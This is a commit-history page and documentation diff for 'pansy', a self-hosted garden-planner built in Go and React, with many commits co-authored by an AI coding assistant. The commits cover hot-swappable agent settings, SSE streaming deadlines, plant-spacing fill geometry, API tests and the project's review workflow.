  SECRETS STAY IN ENV: OLLAMA_CLOUD_API_KEY is never stored here.
- requireAdmin at the service seam (authoritative) plus a cheap middleware
  early-403. Non-admin gets 403, not 404 — settings existence isn't masked.
- EffectiveAgent resolves DB-over-env (model, enabled); key always from env.
- The live Runner is hot-swapped, not built once. agentHolder holds it behind
  an atomic.Pointer; the chat routes are now registered UNCONDITIONALLY and
  nil-check agent.get(), so a settings change turns the assistant on/off/onto a
  new model with no restart and no race against in-flight readers. /capabilities
  reads the pointer, so it reports what's live, not what booted.
- internal/agentmodel is a new leaf package holding the one place that knows how
  to turn a spec into a model. Both agent (to run) and service (to validate a
  spec before storing it) import it; it can't live in agent, which imports
  service. Settings PATCH validates the spec via Parse, so a typo is a 400 now
  rather than a broken assistant on the next turn.

Frontend:
- /settings route (admin guard), a Settings page (model field, tri-state
  enabled, live status), nav link shown only to admins.
- useCapabilities drops staleTime:Infinity — the assistant can now change under
  a running page — and the settings save invalidates it.

Contract change: chat routes always exist, so "assistant off" is a runtime 503
+ capabilities:false, not a missing route. Updated the test that asserted the
old shape.

Verified live against the built binary: disable flips capabilities to false and
logs it; re-enable with a new model swaps it back; a bad spec is rejected 400;
the setting persists across a restart. Swap is race-clean under `go test -race`.

Docs: README (precedence + key-stays-in-env), DESIGN (decision + routes),
CLAUDE (don't re-add conditional route registration; key never in the DB).

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 20:27:36 -04:00
steveandClaude Opus 4.8 04cdf815df Bound each SSE write instead of removing the deadline entirely
Build image / build-and-push (push) Successful in 8s
Gadfly, security lens: clearing the write deadline outright traded the
truncation bug for an unbounded one. With no deadline, a client that stops
reading fills the socket buffer and blocks Write forever — pinning the agent
run goroutine and this stream's mutex, which also takes down the keep-alive
since it needs the same lock. The old 30s WriteTimeout at least bounded that.

Refresh the deadline per frame instead: the stream as a whole is unbounded,
but no single write is. That is the only shape that satisfies both ends, since
an absolute deadline cuts long turns and no deadline cannot be recovered from.

The probe stays in openEventStream so a writer that cannot take deadlines is
reported once rather than once per frame; the per-write call deliberately
ignores its error for the same reason.

Also widened the test's timing margins, per the second finding. tick is now
GREATER than writeTimeout, so every frame lands after the deadline has already
expired and the margin only ever grows — a loaded CI runner pushes this toward
passing rather than toward flaking. Sized the other way it would flake exactly
when CI is busiest. Passes 3/3 with -count=3.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 18:23:31 -04:00
steveandClaude Opus 4.8 3cfa72cb25 REST fill/clear on objects; clear-bed becomes one change set (#82)
Build image / build-and-push (push) Successful in 18s
Gadfly review (reusable) / review (pull_request) Successful in 5m18s
Adversarial Review (Gadfly) / review (pull_request) Successful in 5m19s
FillRegion and ClearObject were reachable only through the agent toolbox, so
on an instance with no model configured the most valuable bulk operation in a
garden planner — and the one carrying the most carefully reasoned geometry in
the codebase — did not exist at all. internal/service/ops.go said these lived
on *Service so "any future REST surface" would inherit the ACL checks; this is
that surface.

POST /objects/:id/fill takes a region EITHER by compass name ("all", "ne",
"south half") or as an explicit rect in the object's local frame, and refuses
both-or-neither: silently preferring one would make a client bug look like a
geometry bug. It answers 200 rather than 201 because a fill can legitimately
create nothing (the region is already planted) and there is no single resource
to point a Location at.

POST /objects/:id/clear replaces a client-side loop of PATCHes. That loop
wrote one change set per plop, so clearing a 40-plop bed took 40 presses of
Undo to put back — while the agent's clear_object, for the identical
user-facing action, undid in one click. CLAUDE.md states the rule it violated:
multi-row operations record together so they undo as one unit. Moving it
server-side also removes the partial-failure case the loop had to reconcile.

TestClearObjectIsOneChangeSetAPI pins that: fill a bed, count change sets,
clear it, assert the count rose by exactly one.

DESIGN.md's API block gains the two new routes, and the four it was already
missing: GET/POST/DELETE /gardens/:id/share-link and the unauthenticated
GET /public/gardens/:token. An unauthenticated surface absent from the
architecture doc is the one worth fixing on sight.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 18:20:54 -04:00
steveandClaude Opus 4.8 8552f1d152 API-level tests for the /seed-lots route group (#83)
Build image / build-and-push (push) Successful in 7s
Gadfly review (reusable) / review (pull_request) Successful in 6m32s
Adversarial Review (Gadfly) / review (pull_request) Successful in 6m32s
Every other handler file had a sibling API test; this group had none, which is
the state PATCH/DELETE /journal/:id shipped in — implemented, unit-tested
through the service, and completely unreachable. Service tests cannot see a
route that was never registered or one registered with the wrong :param.

Four tests, covering what a broken route would silently take with it:

- Full CRUD over HTTP, including GET/PATCH/DELETE by id, the ?plantId= filter,
  a rejected non-numeric plantId, and a stale-version 409 carrying the current
  row so the client can rebase.
- `remaining` is derived through the HTTP surface, not just in the service.
  DESIGN.md makes derivation load-bearing, and the number is the whole reason
  anyone opens the seed shelf.
- Lots are private to the buyer: another user gets 404 (not 403 — existence is
  masked per the project convention) on get/patch/delete, sees none in their
  listing, and the owner still has access afterwards.
- The group is behind requireAuth: unauthenticated calls 401 rather than
  returning an empty list.

Verified the tests actually catch the failure they exist for by unregistering
GET /seed-lots/:id — all four fail with "404 page not found", the journal
signature.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 18:16:40 -04:00
steveandClaude Opus 4.8 7088f382bc Clear the SSE write deadline so a turn can outlive WriteTimeout (#78)
Build image / build-and-push (push) Successful in 5s
Gadfly review (reusable) / review (pull_request) Canceled after 9m11s
Adversarial Review (Gadfly) / review (pull_request) Canceled after 9m11s
http.Server.WriteTimeout is an ABSOLUTE deadline from when the request header
was read, not an idle timeout. pansy sets it to 30s (cmd/pansy/main.go:65)
while an agent turn is budgeted 4 minutes, so every turn over 30 seconds was
cut mid-stream. The 4-minute runTimeout was unreachable; the real ceiling was
30 seconds.

That also meant the keep-alive added in #73 could never do its job. It ticks
at 20s, so it got exactly one tick before the connection it was pacing was
destroyed underneath it — a mechanism built to survive long silences that was
structurally incapable of surviving them.

The failure is invisible from the handler: writes made after the deadline
return err == nil and their bytes are discarded. There is no error to check
and none to log, which is why this survived a review that specifically looked
at the discarded write error. Only the client sees it, as an unexpected EOF,
which web/src/lib/agent.ts reports as "The connection dropped partway
through." — indistinguishable from a real network fault.

Because it is invisible server-side, the test drives a real http.Server with a
short WriteTimeout and asserts from the CLIENT side. Against the unfixed code
it gets 1 of 4 frames and an unexpected EOF; a test that inspected the return
of io.WriteString would have passed against the bug.

gin 1.10.1's responseWriter implements Unwrap, so ResponseController reaches
the underlying conn. A failure to clear the deadline IS worth logging: it
means the stream will be cut and we cannot prevent it.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 18:14:12 -04:00
steve 437c535cd1 Fill: honour the half-spacing edge rule when packing plops (#76)
Build image / build-and-push (push) Successful in 11s
Closes #75.

The outer row of a fill sat 1.5 spacings from the bed edge where the rule says
half a spacing, staggered rows started a full pitch in, and the far edge had
clumps hanging 13cm outside a bed nothing clips them to. Centre the lattice and
inset each edge by radius - spacing/2.

Also fixed here: a region that misses the object entirely planted plops metres
off the bed (clampTo inverts rather than empties, which the old loop handled
implicitly and the counted lattice did not), non-finite region bounds now give
ErrInvalidInput instead of a raw store error or a silent no-op, and the lattice
size is derived before it is built so an oversized fill is refused without
allocating what it is rejecting.

Five Gadfly rounds; the substantive findings were the finiteness guard and the
allocate-before-cap ordering.
2026-07-21 18:28:17 +00:00
steveandClaude Opus 4.8 07d598cffd Address fifth round of Gadfly findings on #76
Build image / build-and-push (push) Successful in 5s
- fillLoaded's doc listed what it does and omitted the non-finite-region
  rejection this PR added to it.
- Trim the half-spacing rule's restatement in DESIGN.md to the decision and a
  pointer. The rule, the square-foot arithmetic and the failure mode are
  written out once, in hexCenters, rather than near-verbatim in four places.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 14:27:58 -04:00
steveandClaude Opus 4.8 958b90ebc6 Address fourth round of Gadfly findings on #76
Build image / build-and-push (push) Successful in 6s
- Split hexCenters' doc: the count/limit contract had run straight on from
  the #75 anti-regression paragraph with no separator, so its opening "It"
  read as referring to the wrong thing.
- Write the stagger as pitch/2 rather than radius. Same value, but the intent
  is "half a pitch" and only incidentally "one radius".
- fitAxis's step<=0 guard is unreachable from its only caller. Kept, and now
  says so: a helper this small shouldn't need its caller read to be shown
  safe, and the failure mode without it is ±Inf into an int conversion.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 14:03:41 -04:00
steveandClaude Opus 4.8 28af101634 Address third round of Gadfly findings on #76
Build image / build-and-push (push) Successful in 7s
- hexCenters now derives its exact point count BEFORE building anything and
  returns it alongside the points, refusing over the cap without allocating.
  Previously it materialised the whole lattice and fillLoaded checked len()
  afterwards — so the "too large" path paid for the thing it was rejecting.
  This also makes the preallocation exact, which subsumes the earlier
  over-allocation finding I'd declined: staggered rows hold cols-1, so
  rows*cols over-reserved by ~12%.

- Region.empty() names the invariant that clampTo expresses "no overlap" by
  INVERTING the region rather than zeroing it. A bare `MaxX < MinX` at each
  call site was spreading a non-obvious convention across three functions.

The count is now load-bearing (it gates the cap), so the test asserts it
matches what actually gets built.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 13:25:58 -04:00
steveandClaude Opus 4.8 70ff970672 Address second round of Gadfly findings on #76
Build image / build-and-push (push) Successful in 5s
- FillRegion's doc still said "half-pitch inset", left over from the first
  draft of the fix; the inset is radius - spacing/2. Two docs on the same
  function disagreeing is worse than either being terse.
- Reject non-finite region bounds. They survive clamping and the inverted-
  region guard (NaN compares false both ways). Nothing corrupt reached the
  table — SQLite stores NaN as NULL and NOT NULL refuses it — but NaN
  surfaced as a raw store error and +Inf as a silent zero-plop success.
- TestHexCentersTinyRegion used a region symmetric about the origin, so it
  could not distinguish "the middle of the region" from "the origin" and
  would have passed for an implementation that just returned (0,0). Added an
  off-centre case.

Not taken: the finding that `make(..., rows*cols)` over-allocates ~12%
because staggered rows hold cols-1. True, but the slice is capped at
maxFillPlops (5000) and the exact count needs a ceil/floor split for no
measurable gain.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 12:13:50 -04:00
steveandClaude Opus 4.8 f8929a19a8 Address Gadfly findings on #76
Build image / build-and-push (push) Successful in 5s
- clampTo's doc justified itself by stopping hexCenters "looping forever",
  which stopped being true when hexCenters became count-bounded. Say what it
  actually does now, and note the inversion the new guard relies on.
- Trim the changelog prose from hexCenters' doc down to the one line that
  earns its keep: don't re-anchor at the min corner, and why.
- Rename a test local from `max` so it stops shadowing the builtin.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 10:23:22 -04:00
steveandClaude Opus 4.8 3af0d08779 Fill: plant nothing for a region that misses the object entirely
Build image / build-and-push (push) Successful in 8s
clampTo INVERTS a region lying wholly outside the object — Max clamps below
Min — rather than emptying it. The old loop-until-past-MaxX form handled that
for free by never entering the loop. Counting positions up front does not:
a region 500cm east of a bed with ±50cm local bounds produced 4 plops at
x=275, a couple of metres off the bed.

Caught by removing the guard and watching the new test fail, not by assuming
it would.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 10:13:33 -04:00
steveandClaude Opus 4.8 45da4b15e2 Fill: honour the half-spacing edge rule when packing plops (#75)
Build image / build-and-push (push) Successful in 7s
Gadfly review (reusable) / review (pull_request) Successful in 10m7s
Adversarial Review (Gadfly) / review (pull_request) Successful in 10m8s
Filling a bed left the outer row too far from the edge, and staggered rows
worse still. Two defects, both from anchoring the lattice at the region's min
corner:

- Odd rows offset by `radius` started at `MinX + 2·radius`, leaving a bare
  strip a whole plop wide down one side of every other row.
- All the leftover slack piled up on the far edge, where plops hung 13cm
  outside the bed on a 4×8ft garlic bed. Nothing clips them, so they drew
  over the bed outline.

Spacing is a constraint between neighbouring plants competing for the same
soil, light and water. A bed edge is not a competitor, so the outer row owes
it half the spacing — the arithmetic inside every square-foot-gardening chart
(4/square = 6" apart, 3" from the square's edge).

The wrinkle: a plop is a CLUMP, not a plant. defaultPlopRadius is 1.5×spacing,
so keeping the whole circle inside the bed insets the outer row by 1.5
spacings, three times what the rule allows. So centre the lattice and set the
minimum centre-inset to `radius - spacing/2`: the clump may cross the edge by
up to half a spacing, putting its outermost plants exactly the half-spacing
from the edge the rule asks for. Capped there — a clump mostly outside the bed
would be a drawing of plants in the path.

Same bed, same 15 plops, now symmetric with a deliberate 6.5cm overhang inside
the 7.5cm budget instead of an accidental 13cm on one side only. The stagger
falls out of the centring for free: an offset row holds one fewer plop, and
centring that run puts it exactly half a pitch off its neighbours.

TestFillRegionDeterministicPacking expected 4 plops in a 60×60 bed; the fourth
was centred ON the east edge with half of it outside, well past the budget.
It is 3 now — the fix working, not a regression in it.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 10:11:08 -04:00
steveandClaude Opus 4.8 c1c873d3f0 Record the two conventions the live v2 bugs produced
Build image / build-and-push (push) Successful in 9s
The history write's context.WithoutCancel reads like a mistake if you don't know
why it's there, and "tidying" it is exactly how the orphan-history bug came back
a second time (#73). Written down so the next person — or the next session —
doesn't remove it on the way past.

Also a short testing section. Two of the three bugs only real use found were
invisible to the tests I had: a route that was never registered (service tests
can't see that) and a fixture that populated a field the real response leaves
empty (a test asserting my mental model rather than the API).

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 09:20:00 -04:00
steve 1d2f0eba56 Let the container align the undo outcome note (#74)
Build image / build-and-push (push) Successful in 10s
Co-authored-by: Steve Dudenhoeffer <[email protected]>
2026-07-21 13:02:27 +00:00
steve 62604523d7 Commit history detached from cancellation on every path, not just failure (#73)
Build image / build-and-push (push) Successful in 7s
Co-authored-by: Steve Dudenhoeffer <[email protected]>
2026-07-21 12:49:18 +00:00
steve 4ea0d0b262 Undo reported "nothing left to undo" after a successful undo (#72)
Build image / build-and-push (push) Successful in 19s
Co-authored-by: Steve Dudenhoeffer <[email protected]>
2026-07-21 12:25:34 +00:00
steve 8dbbc5439d Chat panel in the garden editor (#57) (#71)
Build image / build-and-push (push) Successful in 6s
Co-authored-by: Steve Dudenhoeffer <[email protected]>
2026-07-21 06:43:22 +00:00
steve 3a3ce16fce Agent runtime: majordomo in-process, Ollama Cloud config, chat endpoint (#56) (#70)
Build image / build-and-push (push) Successful in 6s
Co-authored-by: Steve Dudenhoeffer <[email protected]>
2026-07-21 06:22:10 +00:00
steve a1bb8ec463 Agent tools: plant lookup, plant creation, journal entries (#55) (#69)
Build image / build-and-push (push) Successful in 11s
Co-authored-by: Steve Dudenhoeffer <[email protected]>
2026-07-21 06:05:05 +00:00
steve 5d9b10d7c7 Seed shelf UI: source links, lots, and what's left (#51) (#68)
Build image / build-and-push (push) Successful in 11s
Co-authored-by: Steve Dudenhoeffer <[email protected]>
2026-07-21 06:03:12 +00:00
steve 7f8b5254d0 Journal UI: write and read season notes where you're already looking (#53) (#67)
Build image / build-and-push (push) Successful in 11s
Co-authored-by: Steve Dudenhoeffer <[email protected]>
2026-07-21 05:55:45 +00:00
112 changed files with 12139 additions and 566 deletions
+75 -4
View File
@@ -85,6 +85,12 @@ Frontend: React 19 + Vite + Tailwind 4 + TanStack Router/Query, built into
deliberately. `ErrForbidden` means "you can see it but may not do that".
- **Plops (plantings) live in their parent object's local frame**, origin at the
object's center, `-y` is north. Moving or rotating a bed moves its plants free.
- **A plop is a clump, not a plant.** `defaultPlopRadius` is `1.5 × spacing`, so a
plop is three spacings across and holds `π·r²/spacing²` plants. Reasoning about
fills as if one plop were one plant gets the geometry wrong every time — which
is how #75 happened: requiring the whole circle inside the bed inset the outer
row by 1.5 spacings when the horticultural rule is *half* a spacing. Spacing is
a constraint between neighbouring plants; a bed edge is nobody's neighbour.
- **Soft removal**: "clear bed" sets `removed_at`; the editor reads
`removed_at IS NULL`. Hard delete is a different operation.
- **Migrations** are numbered `.sql` files in `internal/store/migrations/`, run
@@ -92,6 +98,29 @@ Frontend: React 19 + Vite + Tailwind 4 + TanStack Router/Query, built into
- **Every service mutation lands in history** (#48). If you add one, record it —
see `internal/service/revisions.go`. Multi-row operations pass all their
changes to a single `record` call so they undo as one unit.
- **The history write is detached from cancellation on purpose.** `commitScope`
calls `context.WithoutCancel` — that is not a mistake to tidy up. By the time
a commit runs, the rows it describes are already written, so cancelling it
cannot undo anything; it can only leave real changes with no way to undo them.
This was a live bug twice (#73): a client disconnect mid-request orphaned 18
plantings. Fixing it per-call-site is how it came back, which is why the rule
lives in `commitScope` where no caller can forget it.
## Testing
Match the test to the failure it would catch:
- **Anything addressed by its own id needs an API-level test through the router.**
Service tests can't see a route that was never registered — PATCH/DELETE
`/journal/:id` once shipped fully implemented, fully unit-tested, and
completely unreachable.
- **Watch for fixtures that assert your assumptions instead of the API.** A test
for the undo message passed because the fixture I wrote populated a field the
real response leaves empty. If a test builds the thing it's testing against,
it is checking your mental model, not the system.
- Some things only real use finds. The agent's whole loop is covered by
majordomo's scriptable fake provider (`provider/fake`), which is worth using —
but the three worst v2 bugs all turned up in one live session afterwards.
## Workflow
@@ -100,6 +129,20 @@ fix what's real → merge when the pipeline is green. Do not grade Gadfly findin
A push to `main` builds the image and deploys to Komodo; the live instance at
`pansy.orgrimmar.dudenhoeffer.casa` updates a few minutes later.
**One sweep, not a loop.** Take Gadfly's *initial* review, fix what's real, and
merge once the build is green. Do NOT re-trigger Gadfly on the fix commits and
wait for it again — a re-review-per-fix loop burns ~10 min a pass and drags a
small PR out for an hour (Steve's explicit call, 2026-07-22). The initial review
is the check; your own build/test/judgment covers the fixes. Gadfly is advisory
and never blocks merge, so green build + fixes applied is enough.
(Mechanics, if you ever *do* need a manual re-run: the workflow triggers on
`opened`/`reopened`/`ready_for_review`, not `synchronize`, so pushes don't
re-review; a `@gadfly review` comment does. A comment without that exact phrase
still runs and exits green in ~2s — a skip that looks like a pass, so judge a
real review by its ~10-min duration, not its status. Gadfly edits its consensus
comment in place, so `updated_at` moves but `created_at` doesn't.)
Workflow- and config-only changes (CI, this file, docs) go straight to `main`
without the PR dance.
@@ -113,7 +156,35 @@ implemented in later per-issue sessions.
the `_PATH`/`_ADDR` names you might guess. Authentik is the primary IdP;
OIDC-first with local passwords as fallback.
Agent config (v2): `OLLAMA_CLOUD_API_KEY` and `PANSY_AGENT_MODEL` (default
`ollama-cloud/glm-5.2:cloud`), set in Komodo. Model strings pass verbatim to
`majordomo.Parse`, so a comma-separated spec gives failover for free.
`majordomo` and `executus` are sibling repos at `../`.
Agent config: `OLLAMA_CLOUD_API_KEY`, `PANSY_AGENT_MODEL` (default
`ollama-cloud/glm-5.2:cloud`) and `PANSY_AGENT_ENABLED`, set in Komodo. Model
strings pass verbatim to `majordomo.Parse`, so a comma-separated spec gives
failover for free — don't parse that grammar in pansy.
The model and enabled flag are also **admin-editable at runtime** in Settings
(#79); the env vars are just defaults (precedence: DB setting → env → default).
Two things this makes load-bearing:
- **The live Runner is hot-swapped, not built once.** It sits behind an
`atomic.Pointer` in `internal/api` (`agentHolder`), and its routes are
registered *unconditionally* with a nil-check on `agent.get()`. Do NOT go back
to registering the chat routes only when a key is present — a settings change
has to be able to turn the assistant on without a restart, which a missing
route can't. `/capabilities` reads the pointer, so it reflects the live state.
- **`OLLAMA_CLOUD_API_KEY` stays in the environment, never the DB.** Model
selection is a setting; the key is not. A secret in `instance_settings` lands
in every backup and in the undo history's blast radius. The Settings API
reports whether a key is *present*, never its value.
- The "how to turn a spec into a model" knowledge lives once in
`internal/agentmodel`, imported by both `agent` (to run) and `service` (to
validate a spec before storing it). It can't live in `agent``agent` imports
`service`, so a `service``agent` import would cycle.
`majordomo` is a **real dependency** now, resolved from the Gitea instance as a
pseudo-version. There is no `replace` directive and there must not be one: a
`replace` pointing at `../majordomo` builds on your laptop and breaks the Docker
build, which has no sibling checkout. `executus` is a sibling repo at `../` and
is not a dependency.
The `majordomo` build tag is **gone**. Don't reintroduce it — an untagged CI that
never compiles the agent is worse than a slightly larger binary.
+26 -5
View File
@@ -7,9 +7,13 @@ Work is tracked in Gitea issues; the tracking epic links every piece in dependen
## Decisions
- **Placement model:** freeform plops (not a square-foot grid), scaled by real plant spacing. Grid snapping may come later as a toggle.
- **A fill is one of two operations (#77).** A plop is a *clump*, not a plant, which is the right primitive for SKETCHING ("a few plops of garlic in a corner") but can't draw a real planting — a filled bed comes out as ~15 blobs, not 8 rows of garlic. So `FillRegion`/`FillNamedRegion` take a `FillLayout`: `clump` (default; plop radius 1.5×spacing, ~7 plants each — quick coverage) or `grid` (radius spacing/2, pitch = spacing, ONE plant per plop — a layout you could plant from). Surfaced on `POST /objects/:id/fill` (`layout`) and the agent's `fill_region` (`mode`). Same centered `hexCenters` lattice for both, but BOTH the plop radius (`plopRadiusFor`) and the edge inset (`edgeInset`) differ by layout: a grid plant sits at the plop's centre, so it insets a half-spacing; a clump's plants reach its rim, so it insets radius-less-a-half and overhangs the edge by that half — reusing the clump formula for grid would inset by zero and plant flush on the edge. A grid-filled bed approaches the low-hundreds-of-plops the SVG budget was sized for, which the semantic-zoom tiers already anticipate.
- **Spacing is a plant-to-plant rule, so bed edges get half of it.** A bed edge is not a competitor for soil, light or water, so the outer row owes it half the spacing rather than a full one. `FillRegion` centres its lattice accordingly, and lets a plop — a *clump* three spacings across — cross the edge by up to half a spacing so its outermost plants land at that half-spacing. The rule, the square-foot-chart arithmetic behind it, and how it differs by layout are written out once in `edgeInset` (which `hexCenters` then honours); #75 is what getting it wrong looked like.
- **Stack:** Go 1.26.x backend, module `gitea.stevedudenhoeffer.com/steve/pansy`; React + TypeScript + Vite + Tailwind frontend, production build embedded via `embed.FS` → one static binary (`CGO_ENABLED=0`).
- **Users:** multi-user with ownership. Users own gardens; a garden can be shared with other users as viewer (read) or editor (edit content). Owner additionally shares/deletes.
- **Users:** multi-user with ownership. Users own gardens; a garden can be shared with other users as viewer (read) or editor (edit content). Owner additionally shares/deletes. The first registered user is `is_admin` (set race-free inside the INSERT); admin gates instance-wide Settings (`requireAdmin`), the only thing that reads that flag.
- **Auth:** OIDC-first (Authentik is the primary IdP), local argon2id passwords as an optional fallback.
- **Instance settings (#79):** admin-editable, instance-wide config in a single-row `instance_settings` table — pansy's first DB-stored *instance* state (everything else hangs off a garden/object). Today it holds the agent model + on/off; **secrets never move here**`OLLAMA_CLOUD_API_KEY` stays in the env so it doesn't land in backups or the undo history. Precedence: Settings value → env → default. The live agent Runner sits behind an `atomic.Pointer` in the API layer (`agentHolder`) with its routes always registered, so a settings change swaps it with no restart and no race against in-flight requests; `/capabilities` reads that pointer, so it reports what's live rather than what was configured at boot. The model/registry knowledge lives in one leaf package (`internal/agentmodel`) that both the runner and the settings validator import — agent imports service, so it can live in neither.
- **Seed-packet capture (#81):** photograph a packet → a *vision* model (separate `vision_model` setting) reads it into structured fields via one-shot `majordomo.Generate[SeedPacket]` — NOT an agent loop, so the extraction can't touch the garden; it only reads a picture and returns data. The image is normalized to JPEG at the upload boundary (`internal/imagenorm`: decodes HEIC/webp/png/jpeg, since majordomo's stdlib media path can't do HEIC — the iPhone default; it also bakes in the JPEG EXIF orientation, since the re-encode strips EXIF and a phone photo tagged "rotate 90°" would otherwise reach the model sideways). The hard part is **catalog matching, not OCR**: a wrong auto-match splits a variety's seed-lot history across duplicate rows, so the service NEVER auto-creates — it surfaces ranked candidates (`matchPlants`) and the user confirms, then `CreateFromPacket` makes the plant (new or existing) + the lot. Plants/lots aren't in the undo history (they're catalog/inventory), so there's no change set to wrap. The extractor is injectable on the service (`WithPacketExtractor`) so the whole path tests hermetically against majordomo's `fake` provider.
- **Agentic future:** integration with majordomo/executus via typed Go tools (`llm.DefineTool[Args]`) wrapping the same service layer the REST API uses — not MCP/OpenAPI.
## Domain model
@@ -23,6 +27,7 @@ SQLite, centimeters everywhere (display-side imperial conversion only), `version
- **garden_objects** — one polymorphic table: `kind` (`bed`|`grow_bag`|`container`|`in_ground`|`tree`|`path`|`structure`), name, `shape` (`rect`|`circle`; `polygon` + `points` JSON reserved in schema, not in the v1 editor), center `x_cm`,`y_cm` in garden space, `width_cm`,`height_cm` (circle: width=diameter), `rotation_deg`, `z_index`, `plantable` bool, nullable `color` override, `props` JSON for kind-specific extras (bed height, tree species…), notes.
- **seed_lots** — one purchase: vendor, source URL, sku, lot code, purchase date, packed-for year, quantity + unit, cost, germination %. `owner_id` is on the LOT, not inherited from the plant, so you can record buying generic built-in Garlic from Johnny's and keep it private. `plantings.seed_lot_id` (ON DELETE SET NULL) attributes a plop to a purchase; **`remaining` is derived** (quantity summed effective count of active plantings), never stored — a decremented column drifts the moment a planting is edited behind its back and can't be audited afterwards. Lots are never shared along with a garden.
- **plants** — catalog, plus `source_url`/`vendor` provenance for the variety itself. `owner_id NULL` = built-in (~30 seeded via migration, read-only, clone to customize). name, category (`vegetable`|`herb`|`flower`|`fruit`|`tree_shrub`|`cover`), `spacing_cm` (mature spacing), `color` hex, `icon` (emoji string — zero assets in v1), nullable `days_to_maturity`, notes. Users see built-ins + their own.
- **agent_conversations** / **agent_messages** — the assistant's chat, one thread per (user, garden). Only the user/assistant TEXT of each turn is stored, not the model's full transcript: continuity needs what was said and what came back, and replaying a stored tool call would replay a decision made against a garden that has since moved on. `agent_messages.change_set_id` is the handle the chat panel uses to offer Undo on the turn that caused it.
- **journal_entries** — the grow log: `garden_id` (NOT NULL), nullable `object_id`/`planting_id` to narrow the target, author, body, `observed_at`. `notes` on a garden/object/plant says what the thing IS and a new note overwrites the old; a journal entry says what HAPPENED and when, and entries accumulate. `garden_id` is set even for a bed- or plop-level entry so permission checks reuse `requireGardenRole` unchanged rather than inventing a second ACL path. `observed_at` is distinct from `created_at` — you write up Saturday's observations on Sunday. Deliberately **not** in the revision history: entries are already append-shaped and individually versioned.
- **change_sets** / **revisions** — the undo substrate. A change set groups the row-level revisions one logical operation produced (`source` ui/agent/api, `summary`, nullable `agent_run_id`, nullable `reverts_id`); a revision is `(entity_type, entity_id, op, before, after)` with full JSON row snapshots. The unit of undo is the **operation, not the row**. Revert is itself a change set, so an undo can be undone; it is version-guarded per entity and reports conflicts rather than clobbering a later edit. Garden *deletion* is deliberately not revertible (the cascade is invisible to the service, and would take the history with it).
- **plantings** ("plops") — object_id, plant_id, center `x_cm`,`y_cm` **in the parent object's local frame** (moving/rotating a bed moves its plants for free), `radius_cm` (a plop is a circular patch), nullable `count` (NULL = derived: `max(1, round(π·r² / spacing_cm²))`), nullable label, `planted_at`/`removed_at` dates. "Clear bed" sets `removed_at`; v1 shows rows where `removed_at IS NULL`. Year-over-year history and a future plan/scenario layer build on these dates without schema surgery.
@@ -62,9 +67,21 @@ POST /change-sets/:id/revert ← undo an operation; 201, or 409 + the conflicts
POST /gardens/:id/copy ← deep-copy a garden you own (objects + active plops; not shares/link)
POST /gardens/:id/objects PATCH,DELETE /objects/:id
POST /objects/:id/plantings PATCH,DELETE /plantings/:id
POST /objects/:id/fill ← hex-pack a region with one plant; region by compass name or rect
POST /objects/:id/clear ← soft-remove every active plop, as ONE change set
GET,POST /plants PATCH,DELETE /plants/:id (own plants only)
GET,POST /seed-lots GET,PATCH,DELETE /seed-lots/:id (own lots only; private)
POST /seed-lots/scan ← multipart image → a seed-packet proposal (reads only, no writes)
POST /seed-lots/from-packet ← confirmed proposal → a plant (new or existing) + a lot
GET,POST /gardens/:id/journal PATCH,DELETE /journal/:id (editor writes; author edits own)
GET /gardens/:id/journal/counts ← entries per object, for the "has notes" indicator
POST /agent/chat ← SSE: step events, then the finished turn (editor only)
GET,DELETE /gardens/:id/agent/history (the actor's own thread)
GET /capabilities ← what this instance can do RIGHT NOW (tracks the live agent, not just config)
GET,PATCH /settings ← instance-wide config (admin only): agent model + on/off, vision model
GET,POST /gardens/:id/shares PATCH,DELETE /gardens/:id/shares/:userId (invite by email)
GET,POST,DELETE /gardens/:id/share-link ← the public read-only token for this garden
GET /public/gardens/:token ← UNAUTHENTICATED read-only /full; the token is the capability
```
**Sync:** plain REST + optimistic UI + last-write-wins with a version guard. Every PATCH/DELETE carries the row's `version`; the server increments on write and returns **409 + the current row** on mismatch; the client rolls back and refetches. No websockets/CRDT — the right cost for household-scale co-editing. Drags PATCH once on drop, not per frame.
@@ -77,6 +94,7 @@ GET,POST /gardens/:id/shares PATCH,DELETE /gardens/:id/shares/:userId (invit
cmd/pansy/main.go config load → store.Open → migrate → service → api → ListenAndServe
internal/config/ PANSY_PORT, PANSY_DB, PANSY_BASE_URL, PANSY_REGISTRATION,
PANSY_OIDC_* (issuer/client_id/secret/button label), PANSY_LOCAL_AUTH,
PANSY_AGENT_MODEL / OLLAMA_CLOUD_API_KEY / PANSY_AGENT_ENABLED,
trusted proxies
